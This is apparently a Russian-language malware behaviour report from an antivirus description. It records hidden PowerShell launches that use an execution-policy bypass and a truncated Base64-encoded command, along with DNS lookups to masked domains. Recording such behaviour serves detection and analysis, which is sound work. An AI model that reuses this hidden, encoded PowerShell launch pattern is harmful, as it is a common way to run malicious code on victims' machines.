Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQB...
- DNS ASK at###ticsg.com
- DNS ASK ea#####nlandscape.com
- DNS ASK mc####teriors.co.uk
- DNS ASK la#####abugo.navicu.com
- DNS ASK ba####ngresort.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQB...' (со скрытым окном)